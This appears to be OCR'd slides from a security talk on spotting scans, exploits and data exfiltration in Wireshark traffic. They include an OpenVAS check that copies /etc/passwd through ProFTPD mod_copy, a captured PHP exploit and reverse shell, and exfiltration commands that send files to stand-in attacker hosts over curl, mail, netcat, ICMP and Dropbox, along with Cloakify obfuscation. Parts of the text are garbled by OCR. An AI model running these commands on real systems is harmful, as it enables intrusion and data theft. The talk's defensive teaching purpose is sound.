Try to copy /etc/passwd to /tmp/passwd.copy with SITE CPFR/CPTO Details: ProFTPD 'mod_copy' Unauthenticated Copying Of Files V Version used: 2022-12-02T10:11:16Z Impact Under some circumstances this could result in remote code execution Solution Solution Solution Type: () Vendorfix Ask the vendor for an update References CVE CVE-2015-3306 CERT DFN-CERT-2015-0839 DFN-CERT-2015-0839 DFN-CERT-2015-0839 DFN-CERT-2015-0839 DFN-CERT-2015-0839 DFN-CERT-2015-0576 CB-K15/0791 CB-K15/0791 CB-K15/0791 CB-K15/0791 CB-K15/0791 CB-K15/0791 CB-K15/0791 CB-K15/0553 Other http://bugs.proftpd.org/show_bug.cgi?id=4169	Wireless	OpenVAS_FTP Tools Help	.4.1.256	23.1.0.105254				0
Try to copy /etc/passwd to /tmp/passwd.copy with SITE CPFR/CPTO Details: ProFTPD 'mod_copy' Unauthenticated Copying Of Files V Version used: 2022-12-02T10:11:16Z Impact Under some circumstances this could result in remote code execution Solution Solution Solution Type: Vendorfix Ask the vendor for an update References CVE_CVE-2015-3306 CERT_DFN-CERT-2015-0839 DFN-CERT-201	wireless	OpenVAS_FTP Tools Help	.4.1.256	23.1.0.105254				•
Try to copy /etc/passwd to /tmp/passwd.copy with SITE CPFR/CPTO         Details:       ProFTPD 'mod_copy' Unauthenticated Copying Of Files V         Version used:       2022-12-02T10:11:16Z         Impact       Under some circumstances this could result in remote code execution         Solution       Solution Type: ① Yendorfix         Ask the vendor for an update       References         CVE       CVE-2015-3306         CERT       DFN-CERT-2015-0576         CB-K15/0791       CB-K15/0791         CH+Ittp://bugs.proftpd.org/show_bug.cgi7id=4169         Me       Edit         View       Go       Capture         Analyze       Statistics       Telephony	SITE CPFR/ Wireless →	OpenVAS_FTP Tools Help	.4.1.256	23.1.0.105254				

File Transfer Protocol (FTP) site cpto /tmp/passwd.copy\n Request command: site Request arg: cpto /tmp/passwd Packets: 3325 · Displayed: 3325 (100.0%) Profile: Default

No packet contained that string in its Info column.

## 18

## PacketFest<sup>25</sup>

## Penetration Testing: Metasploit

Metasploit is an open-source penetration testing framework that provides tools for developing, testing, and executing exploits against vulnerable systems. Unlike vulnerability scanners like OpenVAS, Metasploit is used to actively exploit them, simulating real-world attacks to test an organization's defenses.

Exploit Execution - Metasploit includes a library of prebuilt exploits for known vulnerabilities, allowing testers to simulate attacks on systems to see if vulnerabilities can be exploited.

Meterpreter - powerful payload that provides a stealthy, interactive shell on the target machine, allowing attackers to control and explore compromised systems in depth.

œ.

# <code-block></code>

@	*eth0 (host 192.168.1.201 and host 192.168.1.202)	
<u>File Edit View Go Capture Analyze Statistics</u>	Telephony <u>W</u> ireless <u>T</u> ools <u>H</u> elp	
📶 🔲 🔊 🖬 🗎 📓 🙆 🍳 🗧 🔶	л + + 📰 📃 🗖 🗖 🖬 🖬	
Analysis disalar films a fail in		- DCINC
Apply a display filter <ctrl-></ctrl->		O BC/MC
No. Time Source Destina	tion Protocol Length Info 18.1.202 TCP 74.44911 → 80 [SYN] Seq=0 Win=32120 Len=0 MSS=1460 SACK PERM TSva]=366	527
2 0.000205210 192.168.1.202 192.1	8.1.201 TCP 74 80 - 44911 [SYN, ACK] Seq=0 Ack=1 Win=5792 Len=0 MSS=1460 SACK_PERM	ИТ
3 0.000245372 192.168.1.201 192.1	8.1.202 TCP 66 44911 → 80 [ACK] Seq=1 Ack=1 Win=32768 Len=0 TSval=366275335 TSecr= 8 1 202 HTTP 1694 POST /2-%64+allow up include%3d1+%64+safe mode%3dafE++.define+sub	-17
5 0.000542677 192.168.1.202 192.1	8.1.201 TCP 66 80 - 44911 [ACK] Seq=1 Ack=1449 Win=8704 Len=0 TSval=174231 TSecr=3	366
6 0.000558408 192.168.1.202 192.1	8.1.201 TCP 66.80 → 44911 [ACK] Seq=1 Ack=1629 Win=11584 Len=0 TSval=174231 TSecr=	=36
8 0.005990292 192.168.1.201 192.1	18.1.202 TCP 74 4444 → 57635 [SYN, ACK] Seq=0 Ack=1 Win=31856 Len=0 MSS=1460 SACK_P	PER
9 0.006076318 192.168.1.202 192.1	8.1.201 TCP 66 57635 → 4444 [ACK] Seq=1 Ack=1 Win=5888 Len=0 TSval=174232 TSecr=36	662 6 T
11 0.011942174 192.168.1.202 192.1	$\begin{array}{cccccccccccccccccccccccccccccccccccc$	662
12 0.012306518 192.168.1.201 192.1	8.1.202 TCP 2962 4444 → 57635 [PSH, ACK] Seq=5 Ack=1 Win=32768 Len=2896 TSval=366275	534
13 0.012320709 192.108.1.201 192.1	$\begin{array}{cccccccccccccccccccccccccccccccccccc$	r=3
<pre>&gt; Frame 4: 1094 bytes on wire (13552 bits &gt; Ethernet II, Src: Apple 2b:cf:2e (a8:20 &gt; Internet Protocol Version 4, Src: 192.1 &gt; Transmission Control Protocol, Src Port &gt; Hypertext Transfer Protocol &gt; HTML Form URL Encoded: application/x-ww &gt; Form item: "" = "" &gt; Form item: "is_callable(\$f)) { \$s " = &gt; Form item: "" = "" &gt; Form item: "(\$f " = " 'fsockopen') " &gt; Form item: "[\$f " = " 'fsockopen'] { &gt; Form item: "" = "" &gt; Form item: "[\$f " = " 'socket_create' &gt; Form item: "" = "" &gt; Form item: "is_callable(\$f)) { \$s " = &gt; Form item: "ff " = " 'socket_create' &gt; Form item: " = "" &gt; form item: "is_callable(\$f)) { \$s " = &gt; Form item: " = "" &gt; form item: "is_callable(\$f) &gt; Form item: " = "" &gt; form item: "ini_get('suhosin.executor &gt; Wireshark Forensics Toolkit</pre>	<pre>     (1094 bytes captured (1352 bits) on interface etf 0000 68 00 27 /5 19 57 a8 20 66 20 c7     (612b:cf:2e), Dst: PCSSystemtec_75:19:5f (08:00:27     (08:00:27     (08:00:27     (0910 06 58 06 40 00 40 06 55 1c c     (0220 01 ca af 6f 00 50 81 4f f5 7c e;     (0220 01 ca af 6f 00 50 81 4f f5 7c e;     (0220 01 ca af 6f 00 50 81 4f f5 7c e;     (0220 01 ca af 6f 00 50 81 4f f5 7c e;     (0220 01 ca af 6f 00 50 81 4f f5 7c e;     (0220 01 ca af 6f 00 50 81 4f f5 7c e;     (0220 01 ca af 6f 00 50 81 4f f5 7c e;     (0220 01 ca af 6f 00 50 81 4f f5 7c e;     (0220 01 ca af 6f 00 50 81 4f f5 7c e;     (0220 01 ca af 6f 00 50 81 4f f5 7c e;     (0220 01 ca af 6f 00 50 81 4f f5 7c e;     (0220 01 ca af 6f 00 50 81 4f f5 7c e;     (0220 01 ca af 6f 00 50 81 4f f5 7c e;     (0220 01 ca af 6f 00 50 81 4f f5 7c e;     (0220 01 ca af 6f 00 50 81 4f f5 7c e;     (0220 01 ca af 6f 00 50 81 4f f5 7c e;     (0220 01 ca af 6f 00 50 81 4f f5 7c e;     (0230 6c 6f 77 5f 75 72 6c 5f 69 6e 6;     (055 6c 6f 77 5f 75 72 6c 5f 69 6e 6;     (056 6c 6f 77 5f 75 72 6c 5f 69 6e 6;     (056 6c 6f 73 5f 75 72 6c 5f 69 6e 6;     (056 6c 6f 73 5f 75 72 6c 5f 69 6e 6;     (056 6c 6f 73 5f 75 68 6f 73 69 6e 2e 7;     (057 64 6f 73 69 6e 2e 33 64 74 72 75 44;     (0400 76 66 66 96 6e 52 36 36 47 47 72 75 44;     (0400 73 66 66 96 6e 52 2b 61 75 74 6f 5;     (0400 73 66 66 96 6e 52 2b 61 75 74 6f 5;     (0400 73 66 66 96 6e 52 2b 61 75 74 6f 5;     (0400 73 66 66 96 6e 52 2b 61 75 74 6f 5;     (0400 65 66 69 6e 65 2b 61 75 74 6f 5;     (0400 65 66 69 6e 65 2b 61 75 74 6f 5;     (0400 65 66 69 6e 65 2b 61 75 74 6f 5;     (0400 65 66 69 6e 65 2b 61 75 74 6f 5;     (0400 65 66 69 6e 65 2b 61 75 74 6f 5;     (0400 65 66 69 6e 65 2b 61 75 74 6f 5;     (0400 65 66 69 6e 65 2b 61 75 74 6f 5;     (0400 65 66 69 6e 65 2b 61 75 74 6f 5;     (0400 65 66 69 6e 65 2b 61 75 74 6f 5;     (0400 65 66 69 6e 65 2b 61 75 74 6f 5;     (0400 65 66 69 6e 65 2b 61 75 74 6f 5;     (0400 65 66 69 6e 65 2b 61 75 74 6f 5;     (0400 65 66 69 6e 65 2b 61 6;     (040</pre>	$\begin{array}{cccccccccccccccccccccccccccccccccccc$
	0140 25 33 64 30 25 2d 2d 6e 67 2d 7	0 68 7E

## Recognize Different Attack Patterns (DEMO)

Demo how Wireshark can be effectively used to differentiate between network scans, vulnerability assessments, and actual exploitation attempts by analyzing and identifying unique traffic patterns and signatures associated with each activity.





Data Exfiltration



## Data Exfiltration

## Network Exfiltration

Data is often transferred over the network to a remote server controlled by the attacker. This can be done using various protocols like HTTP/HTTPS, FTP, or even covert channels like DNS tunneling.

## Physical Exfiltration

In some cases, data may be copied to removable media (like USB drives) for physical removal from the premises.

### Steganography

Data might be hidden in seemingly innocuous files (e.g., images, videos) and transferred to avoid detection.

#### Email

Sensitive data might be sent out via email attachments or hidden within email messages.

22

## Data Exfiltration – What are the options

#### HTTP/HTTPS

curl -X POST -F "file=@/path/to/sensitive\_data.zip" https://malicious-srv.com/u

#### DNS Tunneling

Varoious options embed data into DNS records including the use of steganography.

#### Email

echo "Here are the files" | mutt -a "data.docx" -s "Files" -- attacker@maildom.com

#### Cloud Uploads

curl -X POST https://content.dropboxapi.com/2/files/upload \
--header "Authorization: Bearer <ACCESS\_TOKEN>" \
--header "Dropbox-API-Arg: {\"path\": \"/stolen\_data.zip\"}" \
--header "Content-Type: application/octet-stream" \
--data-binary @/path/to/stolen\_data.zip

#### ICMP

hping3 -1 -d 100 -E /path/to/sensitive\_data.txt victim-server.com

#### Steganography

steghide embed -cf image.jpg -ef sensitive\_data.txt -p password

#### **Reverse Shell**

nc -l -p 4444 > received\_data.zip
cat sensitive\_data.zip | nc attacker-server.com 4444

##################	***************************************	##
#	Egress-Assess	#
#######################################	***************************************	##
[*] Starting an H	ITTP server on port 80.	
[*] The server is	running.	
Π		
###################	***************************************	####
#	Egress-Assess	
###################	***************************************	####
[*] File sent		
######################################	Faress-Assess	*####
+ #######################	Lgress-Assess	,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
*****	,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,	
5+5 c· · ·		
[*] Starting an H	TTP server on port 80.	
[*] The server is	s running.	
192 168 1 201	- [12/Aug/2024 16:42:56] "POST /post file php HTTP/1 1" 200	) -
192.100.1.201		
Γ+] 2024-08-12 14	4:42:56 - Received File - passwd	
[+] 2024-08-12 14	4:42:56 - Received File - passwd	
[+] 2024-08-12 14	Wireshark - Follow HTTP Stream (tcp.stream eq 0) - Loopback: lo	
<pre>[+] 2024-08-12 14 @ POST /post_file.ph</pre>	4:42:56 - Received File - passwd Wireshark · Follow HTTP Stream (tcp.stream eq 0) · Loopback lo	
<pre>POST /post_file.ph Accept-Encoding: i</pre>	4:42:56 - Received File - passwd Wireshark-Follow HTTP Stream (tcp.stream eq 0) - Loopback lo	
<pre>POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42</pre>	4:42:56 - Received File - passwd Wireshark · Follow HTTP Stream (tcp.stream eq 0) · Loopback lo ID HTTP/1.1 Identity Lication/x-WWW-form-urlencoded 257	
POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42 Host: 192.168.1.26	4:42:56 - Received File - passwd Wireshark-Follow HTTP Stream (tcp.stream eq 0) - Loopback lo 10 HTTP/1.1 identity lication/x-www-form-urlencoded 257 11:80	
POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42 Host: 192.168.1.26 User-Agent: Pythor	4:42:56 - Received File - passwd Wireshark · Follow HTTP Stream (tcp.stream eq 0) · Loopback lo NP HTTP/1.1 identity Lication/x-WWW-form-urlencoded 257 01:80 1-urllib/3.11	
POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42 Host: 192.168.1.26 User-Agent: Pythor Connection: close	4:42:56 - Received File - passwd Wireshark · Follow HTTP Stream (tcp.stream eq 0) · Loopback lo 10 HTTP/1.1 identity lication/x · www-form-urlencoded 257 01:80 1-urllib/3.11	
POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42 Host: 192.168.1.20 User-Agent: Pythor Connection: close	<pre>4:42:56 - Received File - passwd  Wireshark · Follow HTTP Stream (tcp.stream eq 0) · Loopback lo  Ip HTTP/1.1 identity lication/x · www - form - urlencoded 257 11:80 1-urllib/3.11 .root:x:0:0:root:/root:/usr/bin/zsh</pre>	
POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42 Host: 192.168.1.26 User-Agent: Pythor Connection: close passwd.:::-989-::: daemon:x:1:1:daemo	<pre>Wireshark · Follow HTTP Stream (tcp.stream eq 0) · Loopback lo  Wireshark · Follow HTTP Stream (tcp.stream eq 0) · Loopback lo  p HTTP/1.1 identity Lication/x · www · form · urlencoded 257 )1:80 1 · urllib/3.11 root:x:0:0:root:/root:/usr/bin/zsh pn:/usr/sbin:/usr/sbin/nologin</pre>	
POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42 Host: 192.168.1.26 User-Agent: Pythor Connection: close passwd.:::-989-::: daemon:x:1:1:daemo bin:x:2:2:bin:/bir	<pre>Wireshark · Follow HTTP Stream (tcp.stream eq 0) · Loopback lo  Wireshark · Follow HTTP Stream (tcp.stream eq 0) · Loopback lo  Ap HTTP/1.1 identity lication/x · WWW - form - urlencoded 257 01:80 1 · urllib/3.11 root:x:0:0:root:/root:/usr/bin/zsh on:/usr/sbin:/usr/sbin/nologin 1./usr/sbin/nologin</pre>	
POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42 Host: 192.168.1.20 User-Agent: Pythor Connection: close passwd.:::-989-::: daemon:x:1:1:daemo bin:x:2:2:bin:/bir sys:x:3:3:sys:/dev	<pre>Wireshark · Follow HTTP Stream (tcp.stream eq 0) · Loopback lo  Wireshark · Follow HTTP Stream (tcp.stream eq 0) · Loopback lo  Pp HTTP/1.1 identity Lication/x · WWW · form · urlencoded 257 01:80 1 · urllib/3.11 root:x:0:0:root:/root:/usr/bin/zsh on:/usr/sbin:/usr/sbin/nologin 1:/usr/sbin/nologin 2:/usr/sbin/nologin 2:/usr/sbin/nologin</pre>	
POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42 Host: 192.168.1.26 User-Agent: Pythor Connection: close passwd.:::-989-::: daemon:x:1:1:daemo bin:x:2:2:bin:/bin sys:x:3:3:sys:/dev sync:x:4:65534:syn games:x:5:60:games	<pre>Wireshark-Follow HTTP Stream (tcp.stream eq 0) - Loopback Lo  Wireshark-Follow HTTP Stream (tcp.stream eq 0) - Loopback Lo  P HTTP/1.1 identity Lication/x-www-form-urlencoded 257 21:80 1-urllib/3.11 root:x:0:0:root:/root:/usr/bin/zsh 2.root:x:0:0:root:/root:/usr/bin/zsh 2.root:x:bin:/usr/sbin/nologin 2./usr/sbin/nologin 2./usr/sbin/nolo</pre>	
POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42 Host: 192.168.1.26 User-Agent: Pythor Connection: close passwd.:::-989-::: daemon:x:1:1:daemo bin:x:2:2:bin:/bir sys:x:3:3:sys:/dev sync:x:4:65534:syn games:x:5:60:games man:x:6:12:man:/va	<pre>Wireshark-Follow HTTP Stream (tcp.stream eq 0) - Loopback lo  Wireshark-Follow HTTP Stream (tcp.stream eq 0) - Loopback lo  Mp HTTP/1.1 identity Lication/x-www-form-urlencoded 257 1:80 1-urllib/3.11 root:x:0:0:root:/root:/usr/bin/zsh pn:/usr/sbin/nologin 1:/usr/sbin/nologin 1:/usr/sbin/nologin 1:/usr/games:/usr/sbin/nologin 1:/usr/games:/usr/sbin/nologin 1:/usr/games:/usr/sbin/nologin 1:/usr/sbin/nologin 1:/usr/sb</pre>	
POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42 Host: 192.168.1.26 User-Agent: Pythor Connection: close passwd.::-989-::: daemon:x:1:1:daemo bin:x:2:2:bin:/bin sys:x:3:3:sys:/dev sync:x:4:65534:syn games:x:5:60:games man:x:6:12:man:/var/s	<pre>Vireshark-Follow HTTP Stream (tcp.stream eq 0) - Loopback lo  Wireshark-Follow HTTP Stream (tcp.stream eq 0) - Loopback lo  Pp HTTP/1.1 identity lication/x-www-form-urlencoded 257 01:80 1-urllib/3.11 root:x:0:0:root:/root:/usr/bin/zsh pn:/usr/sbin:/usr/sbin/nologin 1:/usr/sbin/nologin 1:/usr/sbin</pre>	
POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42 Host: 192.168.1.20 User-Agent: Pythor Connection: close passwd.::-989-::: daemon:x:1:1:daemo bin:x:2:2:bin:/bin sys:x:3:3:sys:/dev sync:x:4:65534:syn games:x:5:60:games man:x:6:12:man:/va lp:x:7:7:lp:/var/s mail:x:8:8:mail:/v	<pre>Vireshark · Follow HTTP Stream (tcp.stream eq 0) · Loopback lo  Wireshark · Follow HTTP Stream (tcp.stream eq 0) · Loopback lo  PD HTTP/1.1 identity Lication/x · www-form-urlencoded 257 31:80 1-urllib/3.11 root:x:0:0:root:/root:/usr/bin/zsh n:/usr/sbin/nologin 1:/usr/sbin/nologin 1:/usr/sbin/nolog</pre>	
<pre>POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42 Host: 192.168.1.26 User-Agent: Pythor Connection: close passwd.::-989-::: daemon:x:1:1:daemo bin:x:2:2:bin:/bin sys:x:3:3:sys:/dev sync:x:4:65534:syn games:x:5:60:games man:x:6:12:man:/va lp:x:7:7:lp:/var/s mail:x:8:8:mail:/v news:x:9:9:news:/v</pre>	<pre>Wireshark-Follow HTTP Stream (tcp.stream eq 0) · Loopback: Lo Wireshark-Follow HTTP Stream (tcp.stream eq 0) · Loopback: Lo Wireshark-Follow HTTP Stream (tcp.stream eq 0) · Loopback: Lo () Dp HTTP/1.1 identity Lication/x-www-form-urlencoded 257 D1:80 D-urllib/3.11root:x:0:0:root:/root:/usr/bin/zsh Dn:/usr/sbin/nologin 1:/usr/sbin/nologin 1:/usr/sbin/nologin 1:/usr/sbin/nologin 2:/usr/games:/usr/sbin/nologin 2:/usr/games:/usr/sbin/nologin 2:/usr/sbin/nologin 2:/usr/spool/uws:/usr/sbin/nologin 2:/usr/spool/ums:/usr/sbin/nologin 2:/usr/spool/ums:/usr/sbin/usr/sbin/usr/spool/ums/spool/ums/spool/ums/spool/ums/spool/ums/spool/ums/spool/ums/spool/ums/spool/ums/spool/ums/</pre>	
<pre>POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42 Host: 192.168.1.26 User-Agent: Pythor Connection: close passwd.::-989-::: daemon:x:1:1:daemo bin:x:2:2:bin:/bin sys:x:3:3:sys:/dev sync:x:4:65534:syn games:x:5:60:games man:x:6:12:man:/va lp:x:7:7:lp:/var/s mail:x:8:8:mail:/v news:x:9:9:news:/v uucp:x:10:10:uucp: proxy:x:13:13:prox</pre>	<pre>Wireshark-Follow HTTP Stream (tcp.stream eq 0) - Loopback: lo  Wireshark-Follow HTTP Stream (tcp.stream eq 0) - Loopback: lo  P HTTP/1.1 identity Lication/x-www-form-urlencoded 257 31:80 1-urllib/3.11 root:x:0:0:root:/root:/usr/bin/zsh pn:/usr/sbin/nologin 1:/usr/sbin/nologin 1:/usr/sbin/nologin 2:/usr/sbin/nologin 2</pre>	
<pre>POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42 Host: 192.168.1.20 User-Agent: Pythor Connection: close passwd.::-989-::: daemon:x:1:1:daemo bin:x:2:2:bin:/bir sys:x:3:3:sys:/dev sync:x:4:65534:syn games:x:5:60:games man:x:6:12:man:/va lp:x:7:7:lp:/var/s mail:x:8:8:mail:/v news:x:9:9:news:/v uucp:x:10:10:uucp: proxy:x:13:13:prox www-data:x:33:33:w</pre>	<pre>Wireshark-Follow HTTP Stream (tcp.stream eq 0) - Loopback to Wireshark-Follow HTTP Stream (tcp.stream eq 0) - Loopback to  p HTTP/1.1 identity Lication/x-www-form-urlencoded 257 31:80 1-urllib/3.11root:x:0:0:root:/root:/usr/bin/zsh pn:/usr/sbin/nologin 1:/usr/sbin/nologin 1:/usr/sbin/nologin 1:/usr/sbin/nologin 1:/usr/sbin/nologin 1:/usr/sbin/nologin 2:/usr/sbin/nologin 2:/u</pre>	
POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42 Host: 192.168.1.26 User-Agent: Pythor Connection: close passwd.::-989-::: daemon:x:1:1:daemo bin:x:2:2:bin:/bin sys:x:3:3:sys:/dev sync:x:4:65534:syn games:x:5:60:games man:x:6:12:man:/va lp:x:7:7:lp:/var/s mail:x:8:8:mail:/v news:x:9:9:news:/v uucp:x:10:10:uucp: proxy:x:13:13:prov www-data:x:33:33:w backup:x:34:34:bac	<pre>Wireshark - Follow HTTP Stream (tcp.stream eq 0) - Loopback lo  Wireshark - Follow HTTP Stream (tcp.stream eq 0) - Loopback lo  P HTTP/1.1 identity Lication/x - www-form-urlencoded 257 91:80 n-urllib/3.11 root:x:0:0:root:/root:/usr/bin/zsh n:/usr/sbin/nologin 1:/usr/sbin/nologin 1:/usr/sbin/nologin 1:/usr/sbin/nologin 2:/usr/sbin/nologin 2:/usr/sbin/nolog</pre>	
POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42 Host: 192.168.1.20 User-Agent: Pythor Connection: close passwd.::-989-::: daemon:x:1:1:daemo bin:x:2:2:bin:/bin sys:x:3:3:sys:/dev sync:x:4:65534:syn games:x:5:60:games man:x:6:12:man:/va lp:x:7:7:lp:/var/s mail:x:8:8:mail:/v news:x:9:9:news:/v uucp:x:10:10:uucp: proxy:x:13:13:prox www-data:x:33:33:w backup:x:34:34:bac list:x:38:38:Maili	<pre>Vireshark-Follow HTTP Stream (tcp.stream eq 0) - Loopback: lo  Wireshark-Follow HTTP Stream (tcp.stream eq 0) - Loopback: lo  Wireshark-Follow HTTP Stream (tcp.stream eq 0) - Loopback: lo  P HTTP/1.1 identity Lication/x-www-form-urlencoded 257 21:80 n-urllib/3.11 root:x:0:0:root:/root:/usr/bin/zsh n:/usr/sbin/nologin 1:/usr/sbin/nologin 1:/usr/sbin/nologin 1:/usr/sbin/nologin 2:/usr/sbin/nologin 2:/usr/sbin/nologi</pre>	
POST /post_file.ph Accept-Encoding: i Content-Type: appl Content-Length: 42 Host: 192.168.1.20 User-Agent: Pythor Connection: close passwd.::-989-::: daemon:x:1:1:daemo bin:x:2:2:bin:/bir sys:x:3:3:sys:/dev sync:x:4:65534:syn games:x:5:60:games man:x:6:12:man:/va lp:x:7:7:lp:/var/s mail:x:8:8:mail:/v news:x:9:9:news:/v uucp:x:10:10:uucp: proxy:x:13:13:prox www-data:x:33:33:w backup:x:34:34:bac list:x:38:38:Maili irc:x:39:39:ircd:/antix:42:65524	<pre>Vireshark-Follow HTTP Stream (tcp.stream eq 0)-Loopback lo  Wireshark-Follow HTTP Stream (tcp.stream eq 0)-Loopback lo  ( pp HTTP/1.1 identity lication/x-www-form-urlencoded 257 21:80urllib/3.11 root:x:0:0:root:/root:/usr/bin/zsh n:/usr/sbin/nologin 1:/usr/sbin/nologin 2:/usr/sbin/nologin 2:/us</pre>	

## Data Exfiltration - Obfuscation

To avoid being detected, tools like Cloakify can transforms any filetype (e.g. .zip, .exe, .xls, etc.) into a list of harmless-looking strings. This lets you hide the file in plain sight and transfer the file without triggering alerts. The fancy term for this is "text-based steganography", hiding data by making it look like other data.

python2 cloakify.py /etc/passwd ciphers/common\_fqdn/topWebsites > exfilt.txt
python2 decloakify.py exfilt.txt ciphers/common\_fqdn/topWebsites

(walterh& mackali)-[~/Tools/PacketWhisper] more exfilt.txt www.microsoft.com www.foxnews.com www.target.com www.stackoverflow.com www.outbrain.com www.outbrain.com www.quora.com www.blogspot.com www.apple.com (walterh@ mackali)-[~/Tools/PacketWhisper] [ \$ python2 decloakify.py exfilt.txt ciphers/common\_fqdn/topWebsites root:x:0:0:root:/root:/usr/bin/zsh daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin rail:x:9:8:mail://ar/mail:/usr/cbin/nologin



## Data Exfiltration (DEMO)

This demo will showcase how data can be exfiltrated over various network protocols, including HTTP, SMB and ICMP, as well as how to use text-based steganography for covert data transfer. It will also provide tips on converting data into different formats suitable for transmission and demonstrate how to capture and analyze network traffic to see the traces of exfiltration.





